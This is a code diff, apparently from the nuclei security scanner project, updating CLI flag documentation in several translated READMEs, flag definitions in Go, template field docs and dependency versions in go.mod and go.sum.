-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Acesse a [**`documentação completa do Nuclei aqui`**](https://docs.projectdisc
|
||||
|
||||
### Instalação
|
||||
|
||||
O `nuclei` requer **go >= 1.24.2** para instalar com sucesso. Execute o seguinte comando para obter o repositório:
|
||||
O `nuclei` requer **go >= 1.27.3** para instalar com sucesso. Execute o seguinte comando para obter o repositório:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Nuclei'nin tam [**`dokümantasyonuna buradan`**](https://docs.projectdiscovery.i
|
||||
|
||||
### Kurulum
|
||||
|
||||
`nuclei` yüklemek için **go >= 1.24.2** gerektirir. Repoyu almak için aşağıdaki komutu çalıştırın:
|
||||
`nuclei` yüklemek için **go >= 1.27.3** gerektirir. Repoyu almak için aşağıdaki komutu çalıştırın:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
@@ -1011,6 +1011,7 @@ Part Definitions:
|
||||
- <code>headers_from_response</code> - HTTP response headers in name:value format
|
||||
- <code>tls_version</code> - TLS version negotiated for the HTTP connection
|
||||
- <code>cipher</code> - TLS cipher suite negotiated for the HTTP connection
|
||||
- <code>key_exchange</code> - TLS key exchange group negotiated for the HTTP connection
|
||||
- <code>sni</code> - SNI value used in the TLS handshake
|
||||
- <code>subject_cn</code> - Leaf certificate subject common name
|
||||
- <code>subject_dn</code> - Leaf certificate subject distinguished name
|
||||
@@ -4144,6 +4145,7 @@ Part Definitions:
|
||||
- <code>issuer_cn</code> - Issuer CN is the common name of the certificate issuer
|
||||
- <code>issuer_dn</code> - Issuer DN is the distinguished name of the certificate issuer
|
||||
- <code>issuer_org</code> - Issuer organization is the organization of the certificate issuer
|
||||
- <code>key_exchange</code> - Key exchange is the TLS key exchange group negotiated in the handshake
|
||||
- <code>not_after</code> - Timestamp after which the remote cert expires
|
||||
- <code>not_before</code> - Timestamp before which the certificate is not valid
|
||||
- <code>probe_status</code> - Probe status indicates if the probe was successful
|
||||
|
||||
@@ -32,6 +32,8 @@ AllowdTypes = "AllowdTypes"
|
||||
ExludedDastTmplStats = "ExludedDastTmplStats"
|
||||
|
||||
[default.extend-words]
|
||||
# SMTP greeting command
|
||||
HELO = "HELO"
|
||||
# External package API (fileutil.IsWriteable)
|
||||
Writeable = "Writeable" # TODO(dwisiswant0): Fix in upstream.
|
||||
# Variable name used for flow annotations
|
||||
|
||||
+6
-1
@@ -244,6 +244,8 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
// readConfig defines the cli flags and loads them from the command line and
|
||||
// config files.
|
||||
func readConfig() *goflags.FlagSet {
|
||||
var selectedFiles configuration.Selection
|
||||
// when true updates nuclei binary to latest version
|
||||
@@ -307,7 +309,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.EnableGlobalMatchersTemplates, "enable-global-matchers", "egm", false, "enable loading global matchers templates"),
|
||||
flagSet.BoolVar(&options.EnableFileTemplates, "file", false, "enable loading file templates"),
|
||||
flagSet.BoolVar(&options.EnableLLM, "llm", false, "enable llm matchers and extractors (semantic matching)"),
|
||||
flagSet.StringVar(&options.LLMProvider, "llm-provider", "openai", "llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together)"),
|
||||
flagSet.StringVar(&options.LLMProvider, "llm-provider", "openai", "llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter)"),
|
||||
flagSet.StringVar(&options.LLMBaseURL, "llm-base-url", "", "openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)"),
|
||||
flagSet.StringVar(&options.LLMModel, "llm-model", "", "model used for semantic matching"),
|
||||
flagSet.IntVar(&options.LLMTimeout, "llm-timeout", 30, "time in seconds to wait for a single llm call"),
|
||||
@@ -383,9 +385,11 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.RestrictLocalNetworkAccess, "restrict-local-network-access", "lna", false, "blocks connections to the local / private network"),
|
||||
flagSet.StringVarP(&options.Interface, "interface", "i", "", "network interface to use for network scan"),
|
||||
flagSet.StringVarP(&options.AttackType, "attack-type", "at", "", "type of payload combinations to perform (batteringram,pitchfork,clusterbomb)"),
|
||||
flagSet.BoolVarP(&options.PayloadRandomOrder, "payload-random-order", "pro", false, "iterate payload combinations in a random order instead of sequentially"),
|
||||
flagSet.StringVarP(&options.SourceIP, "source-ip", "sip", "", "source ip address to use for network scan"),
|
||||
flagSet.IntVarP(&options.ResponseReadSize, "response-size-read", "rsr", 0, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.ResponseSaveSize, "response-size-save", "rss", unitutils.Mega, "max response size to read in bytes"),
|
||||
flagSet.IntVarP(&options.RequestSaveSize, "request-size-save", "rqss", 32*unitutils.Kilo, "max request body size to save in bytes (0 to save the whole body)"),
|
||||
flagSet.CallbackVar(func() { resetRequested = true }, "reset", "reset removes all nuclei configuration and data files (including nuclei-templates)"),
|
||||
flagSet.BoolVarP(&options.TlsImpersonate, "tls-impersonate", "tlsi", false, "enable experimental client hello (ja3) tls randomization"),
|
||||
flagSet.StringVarP(&options.HttpApiEndpoint, "http-api-endpoint", "hae", "", "experimental http api endpoint"),
|
||||
@@ -503,6 +507,7 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.CreateGroup("update", "Update",
|
||||
flagSet.BoolVarP(&updateNucleiBinary, "update", "up", false, "update nuclei engine to the latest released version"),
|
||||
flagSet.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "update nuclei-templates to latest released version"),
|
||||
flagSet.StringVarP(&options.UpdateTemplatesChannel, "update-templates-channel", "utc", installer.TemplatesChannelStable, "nuclei-templates update channel (stable, latest)"),
|
||||
flagSet.StringVarP(&options.NewTemplatesDirectory, "update-template-dir", "ud", "", "custom directory to install / update nuclei-templates"),
|
||||
flagSet.BoolVarP(&disableUpdateCheck, "disable-update-check", "duc", false, "disable automatic nuclei/templates update check"),
|
||||
)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/projectdiscovery/nuclei/v3
|
||||
|
||||
go 1.27.1
|
||||
go 1.27.3
|
||||
|
||||
require (
|
||||
carvel.dev/ytt v0.52.0
|
||||
@@ -76,7 +76,7 @@ require (
|
||||
github.com/praetorian-inc/fingerprintx v1.1.15
|
||||
github.com/projectdiscovery/clistats v0.1.7
|
||||
github.com/projectdiscovery/dsl v0.8.24
|
||||
github.com/projectdiscovery/fastdialer v0.5.26
|
||||
github.com/projectdiscovery/fastdialer v0.6.0
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2
|
||||
github.com/projectdiscovery/gcache v0.0.0-20241015120333-12546c6e3f4c
|
||||
github.com/projectdiscovery/goflags v0.2.1
|
||||
@@ -92,7 +92,7 @@ require (
|
||||
github.com/projectdiscovery/interactsh v1.4.1
|
||||
github.com/projectdiscovery/mapcidr v1.1.97
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
|
||||
github.com/projectdiscovery/networkpolicy v0.1.55
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56
|
||||
github.com/projectdiscovery/ratelimit v0.0.94
|
||||
github.com/projectdiscovery/rawhttp v0.2.0
|
||||
github.com/projectdiscovery/rdap v0.9.0
|
||||
@@ -102,7 +102,7 @@ require (
|
||||
github.com/projectdiscovery/tlsx v1.4.3-0.20261020052910-acb80c2c7c75
|
||||
github.com/projectdiscovery/uncover v1.2.1
|
||||
github.com/projectdiscovery/useragent v0.0.109
|
||||
github.com/projectdiscovery/utils v0.11.10
|
||||
github.com/projectdiscovery/utils v0.11.12-0.20261025172519-64b3c221cfe5
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.5
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7
|
||||
github.com/redis/go-redis/v9 v9.19.0
|
||||
@@ -263,7 +263,7 @@ require (
|
||||
github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 // indirect
|
||||
github.com/go-git/go-billy/v5 v5.9.0 // indirect
|
||||
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/logr v1.4.4 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-ole/go-ole v1.3.0 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.22.5 // indirect
|
||||
@@ -349,7 +349,7 @@ require (
|
||||
github.com/moby/docker-image-spec v1.3.1 // indirect
|
||||
github.com/moby/moby/api v1.54.2 // indirect
|
||||
github.com/moby/moby/client v0.4.1 // indirect
|
||||
github.com/moby/sys/user v0.4.0 // indirect
|
||||
github.com/moby/sys/user v0.4.1 // indirect
|
||||
github.com/moby/term v0.5.2 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.2 // indirect
|
||||
@@ -445,11 +445,11 @@ require (
|
||||
go.opentelemetry.io/contrib/detectors/gcp v1.44.0 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.68.0 // indirect
|
||||
go.opentelemetry.io/otel v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk/metric v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel v1.45.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.45.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.45.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk/metric v1.45.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.45.0 // indirect
|
||||
go.uber.org/atomic v1.11.0 // indirect
|
||||
go.uber.org/zap v1.27.1 // indirect
|
||||
go.uber.org/zap/exp v0.3.0 // indirect
|
||||
|
||||
@@ -470,8 +470,8 @@ github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V
|
||||
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/logr v1.4.4 h1:tG4xh9yMsRCAiodLVTxyrkzSZ9+o0L1Kg/+cPVcbP/8=
|
||||
github.com/go-logr/logr v1.4.4/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
@@ -848,8 +848,8 @@ github.com/moby/moby/api v1.54.2 h1:wiat9QAhnDQjA7wk1kh/TqHz2I1uUA7M7t9SAl/JNXg=
|
||||
github.com/moby/moby/api v1.54.2/go.mod h1:+RQ6wluLwtYaTd1WnPLykIDPekkuyD/ROWQClE83pzs=
|
||||
github.com/moby/moby/client v0.4.1 h1:DMQgisVoMkmMs7fp3ROSdiBnoAu8+vo3GggFl06M/wY=
|
||||
github.com/moby/moby/client v0.4.1/go.mod h1:z52C9O2POPOsnxZAy//WtKcQ32P+jT/NGeXu/7nfjGQ=
|
||||
github.com/moby/sys/user v0.4.0 h1:jhcMKit7SA80hivmFJcbB1vqmw//wU61Zdui2eQXuMs=
|
||||
github.com/moby/sys/user v0.4.0/go.mod h1:bG+tYYYJgaMtRKgEmuueC0hJEAZWwtIbZTB+85uoHjs=
|
||||
github.com/moby/sys/user v0.4.1 h1:RgjRlaDKi/Xmyrz4t8lyzXT6v2ooFeO/7xtchmhVWE0=
|
||||
github.com/moby/sys/user v0.4.1/go.mod h1:E9QsW5WRe1kUAf7kW8hXKwu1uhsZEAdPLYHYSDudF4Y=
|
||||
github.com/moby/term v0.5.2 h1:6qk3FJAFDs6i/q3W/pQ97SX192qKfZgGjCQqfCJkgzQ=
|
||||
github.com/moby/term v0.5.2/go.mod h1:d3djjFCrjnB+fl8NJux+EJzu0msscUP+f8it8hPkFLc=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
@@ -937,8 +937,8 @@ github.com/projectdiscovery/clistats v0.1.7 h1:NXf4lUzx1QcbJd6QycNwwYHTv2FsW9Mch
|
||||
github.com/projectdiscovery/clistats v0.1.7/go.mod h1:RxRGxhMzkT344VTTvZWIrojurUXdQQRN1yfwgg/88I8=
|
||||
github.com/projectdiscovery/dsl v0.8.24 h1:rN2w6LSIjA16qKGRjyj70oxdwXGaspe6sAjEkP7F2fk=
|
||||
github.com/projectdiscovery/dsl v0.8.24/go.mod h1:V+EludvS5PS19UNMlM3CuBwZ+sFnMaQhCFGxysDUanQ=
|
||||
github.com/projectdiscovery/fastdialer v0.5.26 h1:wCCsopLsO1EF1V1+9Wqkxj1bMm6sRo8NdlzwE2Ib2Ss=
|
||||
github.com/projectdiscovery/fastdialer v0.5.26/go.mod h1:dZzEPnpsxqCiD3IkM5CN3RglW3l1gXJNyTkxqjPZIbs=
|
||||
github.com/projectdiscovery/fastdialer v0.6.0 h1:4ZeFQ6LyRH4D8e3qO/yzqIP4Cf9Fr0DduaVpJD6ENnE=
|
||||
github.com/projectdiscovery/fastdialer v0.6.0/go.mod h1:FpHwa9S5PUgfPbh+irOm+cdU6AO631XidxkhPwPv7yY=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
|
||||
github.com/projectdiscovery/freeport v0.0.7 h1:Q6uXo/j8SaV/GlAHkEYQi8WQoPXyJWxyspx+aFmz9Qk=
|
||||
@@ -977,8 +977,8 @@ github.com/projectdiscovery/mapcidr v1.1.97 h1:7FkxNNVXp+m1rIu5Nv/2SrF9k4+LwP8Qu
|
||||
github.com/projectdiscovery/mapcidr v1.1.97/go.mod h1:9dgTJh1SP02gYZdpzMjm6vtYFkEHQHoTyaVNvaeJ7lA=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.55 h1:D30pipxOdWnSq3r7sX0kQvGyb18sUgopuda1j9NAmnQ=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.55/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56 h1:M/L421HFuN707oX0tLTzKZY46uRyaKwxAeyi0q8PlxI=
|
||||
github.com/projectdiscovery/networkpolicy v0.1.56/go.mod h1:N5bXm8L3UsDw51CeA1nhTsGEbQMbgL5lXTiIU013xd0=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94 h1:2qciSuUxarn73YGICZeprZtjrwyAH+0iVpdKzKCXoXE=
|
||||
github.com/projectdiscovery/ratelimit v0.0.94/go.mod h1:GAerX6s+eWRuACedHRv2/xmMtlW+VahZmbRstQh0sS0=
|
||||
github.com/projectdiscovery/rawhttp v0.2.0 h1:TGiHC5hydL97/zoi0WjEuNrfO6Gjtg9LeXndUf1Cq3M=
|
||||
@@ -999,8 +999,8 @@ github.com/projectdiscovery/uncover v1.2.1 h1:8U46T/96CLT7BPoXBgkTvWqB06lOyeTSLv
|
||||
github.com/projectdiscovery/uncover v1.2.1/go.mod h1:0p8onrWxfpXQEYs90ZDzTSpu1107gWmodX1NWqu/+z4=
|
||||
github.com/projectdiscovery/useragent v0.0.109 h1:b86BPdZvmgbJousa04jAugDRY4Y+rAvEamE0TFCPmeE=
|
||||
github.com/projectdiscovery/useragent v0.0.109/go.mod h1:sRyBqDAcD31RKYrO8fyXGowLd36fNwY1g0MNW9mp7zk=
|
||||
github.com/projectdiscovery/utils v0.11.10 h1:6mtjWZifPT+UFXCeWSSzwb10KadrlkhYTm03jfhJ2EY=
|
||||
github.com/projectdiscovery/utils v0.11.10/go.mod h1:T7KzyElivWJiPP+B4sXqkp1CcFe6O/P0qBn/MjDNa74=
|
||||
github.com/projectdiscovery/utils v0.11.12-0.20261025172519-64b3c221cfe5 h1:AOspf7ScbwZr8A2YnjCFd4ZJAMSFqzfEaIJIbJPuu10=
|
||||
github.com/projectdiscovery/utils v0.11.12-0.20261025172519-64b3c221cfe5/go.mod h1:TJgsyVjB02CavwZVFzUzPg6YOSJXQxLhL808JCiQKlU=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.5 h1:UZradYF1GIcruSIV5wwo/Coph9/VnM17oajLD9eXR2U=
|
||||
github.com/projectdiscovery/wappalyzergo v0.3.5/go.mod h1:4E6+fh/ckaY3wo5tlM7lNYSkhuTYRHzu2YmGIRraXP0=
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.7 h1:Odmjd1o4EkMff2F6QHi1dIYPIQPZUFy24YqmQCprmTk=
|
||||
@@ -1284,20 +1284,20 @@ go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.6
|
||||
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.61.0/go.mod h1:snMWehoOh2wsEwnvvwtDyFCxVeDAODenXHtn5vzrKjo=
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.68.0 h1:CqXxU8VOmDefoh0+ztfGaymYbhdB/tT3zs79QaZTNGY=
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.68.0/go.mod h1:BuhAPThV8PBHBvg8ZzZ/Ok3idOdhWIodywz2xEcRbJo=
|
||||
go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU=
|
||||
go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc=
|
||||
go.opentelemetry.io/otel v1.45.0 h1:pdrWmLHofpubmArBv1LgFSv1Z0Ie/ppdZzu+kUN5EeU=
|
||||
go.opentelemetry.io/otel v1.45.0/go.mod h1:XZxIqPapzEYnhNSScF5DIqXhm/rYi0FzCe2XddAwZfQ=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.36.0 h1:rixTyDGXFxRy1xzhKrotaHy3/KXdPhlWARrCgK+eqUY=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.36.0/go.mod h1:dowW6UsM9MKbJq5JTz2AMVp3/5iW5I/TStsk8S+CfHw=
|
||||
go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc=
|
||||
go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo=
|
||||
go.opentelemetry.io/otel/metric/x v0.66.0 h1:YkCrx1zLOChi9ZcZ6euupOcsgzbVlec7D/xoEU1+cTA=
|
||||
go.opentelemetry.io/otel/metric/x v0.66.0/go.mod h1:d1+BDj9t96do0/1LoU1ayfCv79ZgNE41qbhBvnMOBZk=
|
||||
go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58=
|
||||
go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA=
|
||||
go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk=
|
||||
go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE=
|
||||
go.opentelemetry.io/otel/metric v1.45.0 h1:7Eg1uH7CJ5cXv9is6tnBe1FI6rj1nwUdbFypRm3br/M=
|
||||
go.opentelemetry.io/otel/metric v1.45.0/go.mod h1:HAPbm1nd3p1PmFH7v2dR+6BjXxw+Lq4a2+pndMAm08s=
|
||||
go.opentelemetry.io/otel/metric/x v0.67.0 h1:PcicCNZFkZ4bXfSooXdo3WN7RBOVOtjVdo1wD358Uns=
|
||||
go.opentelemetry.io/otel/metric/x v0.67.0/go.mod h1:FBjCWZe6wgcqxcMtjdGiClDKXb2YxxXii0CXftE4QtI=
|
||||
go.opentelemetry.io/otel/sdk v1.45.0 h1:4VVSMgQ83dUgW2aoX5f6JgLvHwIvzcuLnF9lUdCSpCw=
|
||||
go.opentelemetry.io/otel/sdk v1.45.0/go.mod h1:Sr40LgXV7DsKMMJMKOhUWOgMWTfAaqvm2kF0g7ilwuA=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.45.0 h1:oVFszMfyj1Am6s24Vtc7wBb8BKLcwepJjNEYILuiE3o=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.45.0/go.mod h1:vUWUxDZvu1WVRj8JA8S0AdhsPrZoDpA2DdZauIh4mDA=
|
||||
go.opentelemetry.io/otel/trace v1.45.0 h1:l/mP6Uv7oNO7/TblbhpbgMidxhq1uO/rPsikOyVhxag=
|
||||
